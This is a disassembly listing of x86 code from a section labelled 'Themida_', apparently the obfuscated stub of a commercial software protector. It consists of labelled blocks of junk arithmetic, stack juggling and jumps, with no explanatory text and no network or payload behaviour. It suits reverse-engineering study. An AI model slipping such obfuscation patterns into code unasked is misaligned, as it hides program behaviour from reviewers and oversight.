loc_591AF2:				; CODE XREF: Themida_:00594BB1j
		not	esi
		add	esi, 45FF2A16h
		add	edi, esi
		pop	esi
		push	eax
		mov	eax, 4
		add	edi, eax
		mov	eax, [esp]
		jmp	loc_5953B7
; ---------------------------------------------------------------------------


loc_591B0D:				; CODE XREF: Themida_:005991BDj
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A08F4
; ---------------------------------------------------------------------------


loc_591B1E:				; CODE XREF: Themida_:005A4406j
		push	77A4h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	eax
		push	edi
		mov	edi, 4
		push	esi
		jmp	loc_5A0C35
; ---------------------------------------------------------------------------


loc_591B38:				; CODE XREF: Themida_:00596CC9j
		mov	ebx, 2D693A99h
		shl	ebx, 7
		and	ebx, 556B5446h
		xor	ebx, 65E85D8Ah
		and	ebx, 567E6614h
		push	ebp
		mov	ebp, 70D2683Fh
		push	edi
		mov	edi, 5DFB13ADh
		or	edi, 10E37121h
		dec	edi
		inc	edi
		add	edi, 54D80246h
		and	edi, 77067C4Dh
		sub	edi, 0E3AED682h
		jmp	loc_5A43EE
; ---------------------------------------------------------------------------


loc_591B7D:				; CODE XREF: Themida_:00598903j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5A115A
; ---------------------------------------------------------------------------


loc_591B9B:				; CODE XREF: Themida_:00593C16j
		mov	[esp], bx
		jmp	loc_5A14B7
; ---------------------------------------------------------------------------


loc_591BA4:				; CODE XREF: Themida_:0059A2ACj
		or	edi, 28AA5986h
		jmp	loc_59EA1A
; ---------------------------------------------------------------------------


loc_591BAF:				; CODE XREF: Themida_:0059D387j
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		shr	eax, 1
		dec	eax
		inc	eax
		sub	eax, 0F3EB1A0Dh
		push	eax
		mov	ebp, [esp]
		jmp	loc_596A91
; ---------------------------------------------------------------------------


loc_591BCD:				; CODE XREF: Themida_:005A1FD8j
		mov	esi, edx
		jmp	loc_59F82B
; ---------------------------------------------------------------------------


loc_591BD4:				; CODE XREF: Themida_:005A35C8j
		pop	ebp
		jmp	loc_5961FE
; ---------------------------------------------------------------------------


loc_591BDA:				; CODE XREF: Themida_:005996B5j
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_591BE9:				; CODE XREF: Themida_:00597038j
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5968ED
; ---------------------------------------------------------------------------


loc_591C00:				; CODE XREF: Themida_:0059702Aj
		push	0FFFFFFFFh
		jmp	loc_5A0E9F
; ---------------------------------------------------------------------------


loc_591C0A:				; CODE XREF: Themida_:00594F93j
		mov	edx, [esp]
		push	esi
		jmp	loc_59D7F4
; ---------------------------------------------------------------------------


loc_591C13:				; CODE XREF: Themida_:005A556Aj
		mov	ebx, [esp]
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		add	ecx, 4
		jmp	loc_5A2696
; ---------------------------------------------------------------------------


loc_591C3B:				; CODE XREF: Themida_:0059095Cj
		add	ecx, 31DB081Ah
		sub	ecx, 16AA0CE4h
		pop	ebx
		push	ebp
		jmp	loc_5919C7
; ---------------------------------------------------------------------------


loc_591C4E:				; CODE XREF: Themida_:00592E59j
		pop	ebp
		add	ecx, 0EF0D3D23h
		add	edi, ecx
		pop	ecx
		push	edi
		sub	dword ptr [esp], 479E318Bh
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esi, 479E318Bh
		pop	edi
		sub	esi, 1
		xor	esi, 70DB2A19h
		xor	esi, 1F574DE4h
		and	esi, 28275B23h
		add	esi, 0D7DB7000h
		jmp	loc_5968C7
; ---------------------------------------------------------------------------


loc_591C94:				; CODE XREF: Themida_:005948ABj
		add	esp, 4
		pop	ecx
		jmp	loc_5902C1
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_59C7E2
; ---------------------------------------------------------------------------


loc_591CA9:				; CODE XREF: Themida_:0059A6DBj
		pop	ecx
		sub	edx, 6CD770D9h
		jmp	loc_593422
; ---------------------------------------------------------------------------


loc_591CB5:				; CODE XREF: Themida_:0059ACE6j
		add	dword ptr [esp+4], 4B2F7F90h
		push	dword ptr [esp]
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_59514E
; ---------------------------------------------------------------------------


loc_591CD8:				; CODE XREF: Themida_:0059F9DCj
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 55794C94h
		push	dword ptr [esp]
		jmp	loc_5A4DF3
; ---------------------------------------------------------------------------


loc_591CEC:				; CODE XREF: Themida_:005951A1j
		mov	edx, 28A035C6h
		add	edx, 6ADE2490h
		xor	edx, 6450205Bh
		jmp	loc_5A1AA3
; ---------------------------------------------------------------------------


loc_591D02:				; CODE XREF: Themida_:005A21D4j
		mov	[esp], ebp
		not	dword ptr [esp]
		inc	dword ptr [esp]
		pop	ebp
		jmp	loc_5A0703
; ---------------------------------------------------------------------------


loc_591D11:				; CODE XREF: Themida_:0059051Aj
		mov	edi, esp
		jmp	loc_59321A
; ---------------------------------------------------------------------------


loc_591D18:				; CODE XREF: Themida_:00596EBFj
		pop	esp
		jmp	loc_59F02F
; ---------------------------------------------------------------------------


loc_591D1E:				; CODE XREF: Themida_:00597264j
		pop	esi
		push	ecx
		jmp	loc_59B8B0
; ---------------------------------------------------------------------------


loc_591D25:				; CODE XREF: Themida_:00598125j
		pop	eax
		jmp	loc_5963CE
; ---------------------------------------------------------------------------


loc_591D2B:				; CODE XREF: Themida_:0059580Cj
		mov	esp, [esp]
		jmp	loc_593D7F
; ---------------------------------------------------------------------------


loc_591D33:				; CODE XREF: Themida_:00595AF6j
		push	edi
		push	781635B7h
		jmp	loc_5A1E55
; ---------------------------------------------------------------------------


loc_591D3E:				; CODE XREF: Themida_:0059E3BBj
		pop	eax
		jmp	loc_59D598
; ---------------------------------------------------------------------------


loc_591D44:				; CODE XREF: Themida_:005A00A9j
		mov	[ebx], ecx
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_59A881
; ---------------------------------------------------------------------------


loc_591D70:				; CODE XREF: Themida_:0059F09Dj
		add	cl, 23h
		pop	edx
		add	cl, 40h
		push	edx
		mov	dl, 0CFh
		and	dl, 81h
		xchg	bh, dl
		not	bh
		xchg	bh, dl
		add	dl, 1Bh
		inc	dl
		jmp	loc_597DB8
; ---------------------------------------------------------------------------


loc_591D8D:				; CODE XREF: Themida_:005956B0j
		mov	esi, 0BF7C62B0h
		xor	ebx, esi
		pop	esi
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		jmp	loc_59CAE8
; ---------------------------------------------------------------------------


loc_591DBD:				; CODE XREF: Themida_:0059F9F3j
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		sub	ebx, 10221F34h
		or	ebx, 429A13AAh
		push	eax
		mov	eax, 1BC10584h
		or	ebx, eax
		pop	eax
		jmp	loc_591E5E
; ---------------------------------------------------------------------------


loc_591DE4:				; CODE XREF: Themida_:00592F8Ej
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		push	3BFFh
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], eax
		push	esi
		jmp	loc_597A18
; ---------------------------------------------------------------------------


loc_591E02:				; CODE XREF: Themida_:0059F4C2j
		pop	ecx
		push	ebx
		jmp	loc_59E7CE
; ---------------------------------------------------------------------------


loc_591E09:				; CODE XREF: Themida_:005950C5j
		pop	esi
		push	366h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_59C0D2
; ---------------------------------------------------------------------------


loc_591E41:				; CODE XREF: Themida_:00597D1Bj
		pop	ebx
		sub	eax, ebp
		add	eax, 1604590Dh
		pop	ebp
		push	573Ch
		mov	[esp], eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_594DEB
; ---------------------------------------------------------------------------


loc_591E5E:				; CODE XREF: Themida_:00591DDFj
		push	esi
		push	edx
		push	3E1A1DEDh
		pop	edx
		jmp	loc_5931F6
; ---------------------------------------------------------------------------


loc_591E6B:				; CODE XREF: Themida_:005A0B4Dj
		pop	ebx
		push	ecx
		mov	ecx, 77C058F9h
		dec	ecx
		shl	ecx, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 152B0F24h
		jmp	loc_59AE70
; ---------------------------------------------------------------------------


loc_591E86:				; CODE XREF: Themida_:0059D7EFj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A4FB9
; ---------------------------------------------------------------------------


loc_591EA6:				; CODE XREF: Themida_:0059D065j
		shl	esi, 1
		not	esi
		inc	esi
		add	esi, 5DC6267Ah
		sub	esi, 71CA1F0Dh
		add	esi, ebp
		add	esi, 71CA1F0Dh
		pop	ebp
		push	7EFCh
		mov	[esp], ebx
		mov	ebx, 715C5015h
		sub	ebx, 2DA02433h
		add	ebx, 1542ED90h
		xor	esi, ebx
		pop	ebx
		push	edx
		mov	edx, 1FB73F2h
		xor	esi, edx
		pop	edx
		xor	edx, esi
		push	dword ptr [esp]
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_59F145
; ---------------------------------------------------------------------------


loc_591F03:				; CODE XREF: Themida_:005A0C30j
		add	eax, edi
		sub	esp, 4
		mov	[esp], esi
		push	edx
		jmp	loc_59053A
; ---------------------------------------------------------------------------


loc_591F11:				; CODE XREF: Themida_:0059221Bj
		shl	al, 4
		add	al, 0BDh
		xor	dh, al
		jmp	loc_5A48A1
; ---------------------------------------------------------------------------


loc_591F1D:				; CODE XREF: Themida_:0059EC0Bj
		push	dword ptr [esp]
		mov	eax, [esp]
		push	eax
		jmp	loc_5965FC
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5958C7
; ---------------------------------------------------------------------------


loc_591F2F:				; CODE XREF: Themida_:005985DBj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_599BE8
; ---------------------------------------------------------------------------


loc_591F3E:				; CODE XREF: Themida_:005A2247j
		push	edi
		mov	edi, 8861630h
		add	edi, 40C8FBECh
		and	edi, 75BD34E2h
		jmp	loc_59F758
; ---------------------------------------------------------------------------


loc_591F55:				; CODE XREF: Themida_:00596632j
		sub	edx, ecx
		jmp	loc_596913
; ---------------------------------------------------------------------------


loc_591F5C:				; CODE XREF: Themida_:00591656j
		add	esi, edx
		jmp	loc_5A07F5
; ---------------------------------------------------------------------------


loc_591F63:				; CODE XREF: Themida_:00598DC2j
		mov	esi, ebp
		pop	ebp
		neg	esi
		jmp	loc_5906F6
; ---------------------------------------------------------------------------


loc_591F6D:				; CODE XREF: Themida_:0059F1D3j
		xor	ebx, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_59D4B0
; ---------------------------------------------------------------------------


loc_591F7F:				; CODE XREF: Themida_:005A1086j
		sub	dword ptr [esp+4], 4AAD30A2h
		mov	ebp, [esp]
		add	esp, 4
		sub	dword ptr [esp], 6C70322Ah
		add	[esp], eax
		add	dword ptr [esp], 6C70322Ah
		push	6CB4h
		jmp	loc_59D4C5
; ---------------------------------------------------------------------------


loc_591FAB:				; CODE XREF: Themida_:00591889j
		add	ebx, 1894691h
		add	ebx, 70041FDBh
		add	ebx, 65273994h
		push	edi
		mov	edi, 10756C6Eh
		push	eax
		mov	eax, 507324EAh
		sub	edi, eax
		pop	eax
		dec	edi
		xor	edi, 8C18345Bh
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_593B60
; ---------------------------------------------------------------------------


loc_591FE0:				; CODE XREF: Themida_:005993E0j
		sub	esp, 4
		jmp	loc_59903A
; ---------------------------------------------------------------------------


loc_591FEB:				; CODE XREF: Themida_:0059FD99j
		add	esp, 4
		jmp	loc_59D88E
; ---------------------------------------------------------------------------


loc_591FF6:				; CODE XREF: Themida_:005988DBj
		push	edx
		mov	edx, 116B563Dh
		not	edx
		push	4903h
		mov	[esp], ebp
		mov	ebp, 784D6C95h
		shl	ebp, 6
		neg	ebp
		push	eax
		push	26C4h
		mov	[esp], edi
		mov	edi, 1B8C7DCAh
		mov	eax, 5426CC90h
		jmp	loc_59359E
; ---------------------------------------------------------------------------


loc_592028:				; CODE XREF: Themida_:0059C0B9j
		pop	ebx
		sub	al, 0EDh
		push	1134h
		mov	[esp], ebx
		mov	bh, 63h
		jmp	loc_598182
; ---------------------------------------------------------------------------


loc_59203A:				; CODE XREF: Themida_:00592464j
		not	ecx
		inc	ecx
		shr	ecx, 7
		or	ecx, 0B404C2Eh
		add	ecx, 0FB557BC6h
		jmp	loc_5A3D69
; ---------------------------------------------------------------------------


loc_592051:				; CODE XREF: Themida_:005A0C3Aj
		sub	esi, 4BCA60C6h
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, edi
		sub	eax, 21610D82h
		pop	edi
		jmp	loc_5997DA
; ---------------------------------------------------------------------------


loc_59206C:				; CODE XREF: Themida_:005A52F7j
		push	7A8Dh
		mov	[esp], ebp
		mov	ebp, 68366D24h
		xor	eax, ebp
		push	dword ptr [esp]
		jmp	loc_59C993
; ---------------------------------------------------------------------------


loc_592083:				; CODE XREF: Themida_:005A10DCj
		mov	eax, ecx
		pop	ecx
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ebx, [esp]
		jmp	loc_598F86
; ---------------------------------------------------------------------------


loc_592096:				; CODE XREF: Themida_:0059698Bj
		add	eax, 4
		jmp	loc_5A2ECD
; ---------------------------------------------------------------------------


loc_5920A0:				; CODE XREF: Themida_:005A4ABDj
		push	7973h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		jmp	loc_596990
; ---------------------------------------------------------------------------


loc_5920B5:				; CODE XREF: Themida_:0059E6D7j
		push	ecx
		push	eax
		mov	eax, 7B990A96h
		mov	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		not	ecx
		jmp	loc_593220
; ---------------------------------------------------------------------------


loc_5920CB:				; CODE XREF: Themida_:00595EE8j
		push	ecx
		jmp	loc_599AA9
; ---------------------------------------------------------------------------


loc_5920D1:				; CODE XREF: Themida_:00596E0Ej
		mov	esi, ebp
		jmp	loc_594BAA
; ---------------------------------------------------------------------------


loc_5920D8:				; CODE XREF: Themida_:0059C98Ej
		add	esi, ecx
		jmp	loc_5A0AF7
; ---------------------------------------------------------------------------


loc_5920DF:				; CODE XREF: Themida_:00593FE8j
		push	eax
		mov	ah, 0Eh
		mov	dl, ah
		pop	eax
		jmp	loc_5A3858
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	6BFh
		jmp	loc_59A998
; ---------------------------------------------------------------------------


loc_5920F8:				; CODE XREF: Themida_:005A0D00j
		push	ecx
		mov	cl, 54h
		not	cl
		neg	cl
		xor	cl, 0EAh
		add	cl, 40h
		sub	dl, cl
		pop	ecx
		jmp	loc_5A40B0
; ---------------------------------------------------------------------------


loc_59210D:				; CODE XREF: Themida_:005921C2j
		sub	dl, cl
		jmp	loc_5A4B6D
; ---------------------------------------------------------------------------


loc_592114:				; CODE XREF: Themida_:005A3EBBj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_59BC4D
; ---------------------------------------------------------------------------


loc_592122:				; CODE XREF: Themida_:005A1EBDj
		mov	eax, 4
		jmp	loc_598D36
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		jmp	loc_59FDEC
; ---------------------------------------------------------------------------


loc_59213E:				; CODE XREF: Themida_:005925ABj
		mov	edi, esp
		jmp	loc_59A18B
; ---------------------------------------------------------------------------


loc_592145:				; CODE XREF: Themida_:005A175Fj
		sub	ebp, 4596077Ch
		pop	esi
		add	ebp, 7A9B4F41h
		add	ebp, ebx
		sub	ebp, 7A9B4F41h
		sub	ebp, 606E3F50h
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		movsx	cx, al
		push	1D20h
		jmp	loc_59B3D8
; ---------------------------------------------------------------------------


loc_592175:				; CODE XREF: Themida_:0059AF25j
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	63D2h
		mov	[esp], ebx
		push	eax
		mov	eax, esi
		push	eax
		jmp	loc_59184A
; ---------------------------------------------------------------------------


loc_59219D:				; CODE XREF: Themida_:0059305Dj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_59AEBB
; ---------------------------------------------------------------------------


loc_5921AE:				; CODE XREF: Themida_:0059CE60j
		add	bl, 0C1h
		jmp	loc_59474F
; ---------------------------------------------------------------------------


loc_5921B6:				; CODE XREF: Themida_:005A2AF1j
		sub	bl, 0AEh
		sub	cl, bl
		pop	ebx
		xor	cl, 0F2h
		xor	cl, 4Bh
		jmp	loc_59210D
; ---------------------------------------------------------------------------


loc_5921C7:				; CODE XREF: Themida_:0059D42Aj
		mov	ebx, [esp]
		jmp	loc_59EC33
; ---------------------------------------------------------------------------


loc_5921CF:				; CODE XREF: Themida_:0059DF3Dj
		pop	esp
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5921D9:				; CODE XREF: Themida_:00595444j
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A0C59
; ---------------------------------------------------------------------------


loc_5921E6:				; CODE XREF: Themida_:005A09B2j
		or	cl, 0BCh
		or	cl, 0D8h
		add	cl, 2Eh
		add	al, cl
		pop	ecx
		pop	dx
		jmp	loc_5980B0
; ---------------------------------------------------------------------------


loc_5921F9:				; CODE XREF: Themida_:00598F22j
		pop	ebp
		jmp	loc_5930F2
; ---------------------------------------------------------------------------


loc_5921FF:				; CODE XREF: Themida_:00590F4Aj
		push	ebp
		jmp	loc_59540A
; ---------------------------------------------------------------------------


loc_592205:				; CODE XREF: Themida_:00598F30j
		sub	esi, edx
		pop	edx
		jmp	loc_59C858
; ---------------------------------------------------------------------------


loc_59220D:				; CODE XREF: Themida_:005999DBj
		push	ecx
		mov	ch, 62h
		mov	al, ch
		mov	ecx, [esp]
		add	esp, 4
		shl	al, 2
		jmp	loc_591F11
; ---------------------------------------------------------------------------


loc_592220:				; CODE XREF: Themida_:005960FEj
		push	eax
		mov	eax, 36C7B46h
		and	edi, eax
		pop	eax
		or	edi, 5BDF620Ch
		xor	edi, 4C505DDh
		sub	esp, 4
		jmp	loc_5A4A32
; ---------------------------------------------------------------------------


loc_592240:				; CODE XREF: Themida_:00595269j
		add	ecx, 19B27A0Eh
		jmp	loc_5A026A
; ---------------------------------------------------------------------------


loc_59224B:				; CODE XREF: Themida_:00592626j
		neg	ecx
		and	ecx, 17AA1116h
		sub	ecx, 512F23BDh
		sub	ecx, 8C9CAB58h
		xor	esi, ecx
		pop	ecx
		xor	ebx, esi
		pop	esi
		jmp	loc_599561
; ---------------------------------------------------------------------------


loc_59226A:				; CODE XREF: Themida_:005A350Fj
		add	dword ptr [esp], 1A610B31h
		pop	ebp
		sub	ebp, 1A610B31h
		mov	ecx, [esp]
		jmp	loc_5A0EF0
; ---------------------------------------------------------------------------


loc_592280:				; CODE XREF: Themida_:0059AB42j
		not	esi
		jmp	loc_59C329
; ---------------------------------------------------------------------------


loc_592287:				; CODE XREF: Themida_:005955B3j
		xchg	edx, [esp]
		jmp	loc_59A53B
; ---------------------------------------------------------------------------


loc_59228F:				; CODE XREF: Themida_:005A3690j
		mov	[esp], ebx
		mov	bl, 5Bh
		jmp	loc_59DE07
; ---------------------------------------------------------------------------


loc_592299:				; CODE XREF: Themida_:00592DAFj
		mov	ecx, 4
		sub	eax, ecx
		pop	ecx
		jmp	loc_59755E
; ---------------------------------------------------------------------------


loc_5922A6:				; CODE XREF: Themida_:00597B81j
		mov	dl, 1Eh
		and	dl, 94h
		jmp	loc_59DD20
; ---------------------------------------------------------------------------


loc_5922B0:				; CODE XREF: Themida_:0059D09Fj
		push	edx
		mov	edx, 790548ACh
		jmp	loc_59A0B5
; ---------------------------------------------------------------------------


loc_5922BB:				; CODE XREF: Themida_:0059EA15j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_5A5773
; ---------------------------------------------------------------------------


loc_5922E0:				; CODE XREF: Themida_:0059CCB6j
		dec	ecx
		jmp	loc_5A0D9C
; ---------------------------------------------------------------------------


loc_5922E6:				; CODE XREF: Themida_:005924ECj
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		pop	esp
		and	eax, edx
		push	dword ptr [esp]
		jmp	loc_59383A
; ---------------------------------------------------------------------------


loc_5922FD:				; CODE XREF: Themida_:005A4F6Fj
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4EB05B3Eh
		jmp	loc_595811
; ---------------------------------------------------------------------------


loc_59230E:				; CODE XREF: Themida_:005A1B72j
		or	eax, eax
		jz	loc_59F7F0
		push	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0FEh
		push	edx
		mov	edx, eax
		mov	esi, edx
		pop	edx
		jmp	loc_59D64D
; ---------------------------------------------------------------------------


loc_592330:				; CODE XREF: Themida_:005A2B20j
		pop	edi
		sub	edi, edx
		mov	edx, [esp]
		jmp	loc_597503
; ---------------------------------------------------------------------------


loc_59233B:				; CODE XREF: Themida_:00594E43j
		mov	[esp], edi
		jmp	loc_59077C
; ---------------------------------------------------------------------------


loc_592343:				; CODE XREF: Themida_:00597643j
		mov	[esp], esi
		jmp	loc_59FCE0
; ---------------------------------------------------------------------------


loc_59234B:				; CODE XREF: Themida_:0059BE48j
		add	ebp, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	32FDh
		mov	[esp], edi
		push	2FD8h
		jmp	loc_591928
; ---------------------------------------------------------------------------


loc_592366:				; CODE XREF: Themida_:0059F8A6j
		pop	edi
		sub	ebp, 6B271D9Ch
		sub	ebp, eax
		push	5806h
		mov	[esp], eax
		jmp	loc_5A132E
; ---------------------------------------------------------------------------


loc_59237C:				; CODE XREF: Themida_:005A1BEFj
		shl	eax, 3
		jmp	loc_595BE7
; ---------------------------------------------------------------------------


loc_592384:				; CODE XREF: Themida_:005A23C2j
		inc	edi
		shr	edi, 8
		or	edi, 548836E0h
		not	edi
		push	ebp
		mov	ebp, 0FFFFFFFFh
		jmp	loc_59F890
; ---------------------------------------------------------------------------


loc_59239B:				; CODE XREF: Themida_:005A0F34j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A3B37
; ---------------------------------------------------------------------------


loc_5923AC:				; CODE XREF: Themida_:005978BFj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5979B4
; ---------------------------------------------------------------------------


loc_5923BA:				; CODE XREF: Themida_:005A4E03j
		neg	eax
		shl	eax, 8
		add	eax, 44092804h
		jmp	loc_5991C2
; ---------------------------------------------------------------------------


loc_5923C9:				; CODE XREF: Themida_:0059A04Fj
		mov	[esp], edi
		mov	edi, 21781486h
		mov	ebx, 4FA91453h
		xor	ebx, edi
		pop	edi
		add	ebx, 0F924A53h
		add	eax, ebx
		pop	ebx
		jmp	loc_591671
; ---------------------------------------------------------------------------


loc_5923E7:				; CODE XREF: Themida_:0059B60Fj
		push	ecx
		push	ebp
		mov	ebp, 60E4473Dh
		jmp	loc_59CF04
; ---------------------------------------------------------------------------


loc_5923F3:				; CODE XREF: Themida_:00590EF9j
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5A04D2
; ---------------------------------------------------------------------------


loc_5923FE:				; CODE XREF: Themida_:005A21B2j
		add	ebp, 9A67F684h
		sub	esi, ebp
		pop	ebp
		push	esi
		jmp	loc_59A2B1
; ---------------------------------------------------------------------------


loc_59240D:				; CODE XREF: Themida_:00590482j
		or	ebx, edx
		pop	edx
		sub	ebx, 8167826h
		mov	ebp, ebx
		pop	ebx
		and	ecx, ebp
		mov	ebp, [esp]
		push	ebx
		jmp	loc_59D0F0
; ---------------------------------------------------------------------------


loc_592424:				; CODE XREF: Themida_:0059ACACj
		pop	eax
		pop	ecx
		push	3AB4h
		mov	[esp], eax
		mov	ah, bh
		mov	dl, ah
		jmp	loc_5A514C
; ---------------------------------------------------------------------------


loc_592437:				; CODE XREF: Themida_:0059C72Ej
		push	ecx
		jmp	loc_5912DA
; ---------------------------------------------------------------------------


loc_59243D:				; CODE XREF: Themida_:005963D7j
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 3B7C34BDh
		shl	ebp, 4
		sub	ebp, 1
		add	ebp, 51EA560Dh
		push	ecx
		mov	ecx, 29353092h
		shr	ecx, 4
		jmp	loc_59203A
; ---------------------------------------------------------------------------


loc_592469:				; CODE XREF: Themida_:005A0024j
		push	ebx
		mov	ebx, 5C9943AAh
		xor	edx, ebx
		pop	ebx
		jmp	loc_59BCC2
; ---------------------------------------------------------------------------


loc_592477:				; CODE XREF: Themida_:005A0795j
		add	esp, 4
		jmp	loc_5A2F85
; ---------------------------------------------------------------------------


loc_592482:				; CODE XREF: Themida_:00593BA7j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_59C114
; ---------------------------------------------------------------------------


loc_59248E:				; CODE XREF: Themida_:0059EB56j
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_594A06
; ---------------------------------------------------------------------------


loc_59249F:				; CODE XREF: Themida_:0059A2FAj
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		bswap	eax
		jmp	loc_59FC3F
; ---------------------------------------------------------------------------


loc_5924B3:				; CODE XREF: Themida_:0059ECFDj
		sub	esp, 4
		jmp	loc_59E248
; ---------------------------------------------------------------------------


loc_5924BE:				; CODE XREF: Themida_:005A2BD9j
		mov	edx, 108B6B00h
		xor	edx, 108B6B02h
		jmp	loc_59469E
; ---------------------------------------------------------------------------


loc_5924CE:				; CODE XREF: Themida_:00594258j
		xor	eax, edi
		pop	edi
		mov	esi, eax
		pop	eax
		mov	edx, 0F604E70Fh
		add	edx, esi
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5922E6
; ---------------------------------------------------------------------------


loc_5924F1:				; CODE XREF: Themida_:005A2747j
		add	al, 0DFh
		push	edx
		mov	dl, 36h
		or	dl, 0B1h
		add	dl, 0E5h
		shr	dl, 1
		jmp	loc_592888
; ---------------------------------------------------------------------------


loc_592503:				; CODE XREF: Themida_:00599803j
		xor	al, 0AAh
		add	cl, al
		pop	eax
		jmp	loc_5A10FA
; ---------------------------------------------------------------------------


loc_59250D:				; CODE XREF: Themida_:00593374j
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_59B693
; ---------------------------------------------------------------------------


loc_59251B:				; CODE XREF: Themida_:0059C024j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_59C574
; ---------------------------------------------------------------------------


loc_592529:				; CODE XREF: Themida_:00593256j
		add	esi, edx
		jmp	loc_5A0CD8
; ---------------------------------------------------------------------------


loc_592530:				; CODE XREF: Themida_:0059F503j
		not	ebx
		xchg	ebx, ebp
		push	ecx
		jmp	loc_593FB5
; ---------------------------------------------------------------------------


loc_59253A:				; CODE XREF: Themida_:00595985j
		add	esp, 4
		jmp	loc_5A4B8D
; ---------------------------------------------------------------------------


loc_592542:				; CODE XREF: Themida_:005A114Cj
		pop	esp
		mov	[esp], ebx
		jmp	loc_5996F0
; ---------------------------------------------------------------------------


loc_59254B:				; CODE XREF: Themida_:005926BCj
		or	ebp, 68AC17D0h
		push	0
		add	dword ptr [esp], 758F242Ch
		sub	[esp], ebp
		sub	dword ptr [esp], 758F242Ch
		pop	ebp
		sub	ebp, 0EC1FD93Eh
		sub	esi, ebp
		pop	ebp
		mov	ecx, [esp]
		jmp	loc_59D368
; ---------------------------------------------------------------------------


loc_592579:				; CODE XREF: Themida_:00599AE9j
		sub	ebp, 69241F3Dh
		sub	ebp, 2DE28A00h
		mov	esi, ebp
		pop	ebp
		jmp	loc_594CF9
; ---------------------------------------------------------------------------


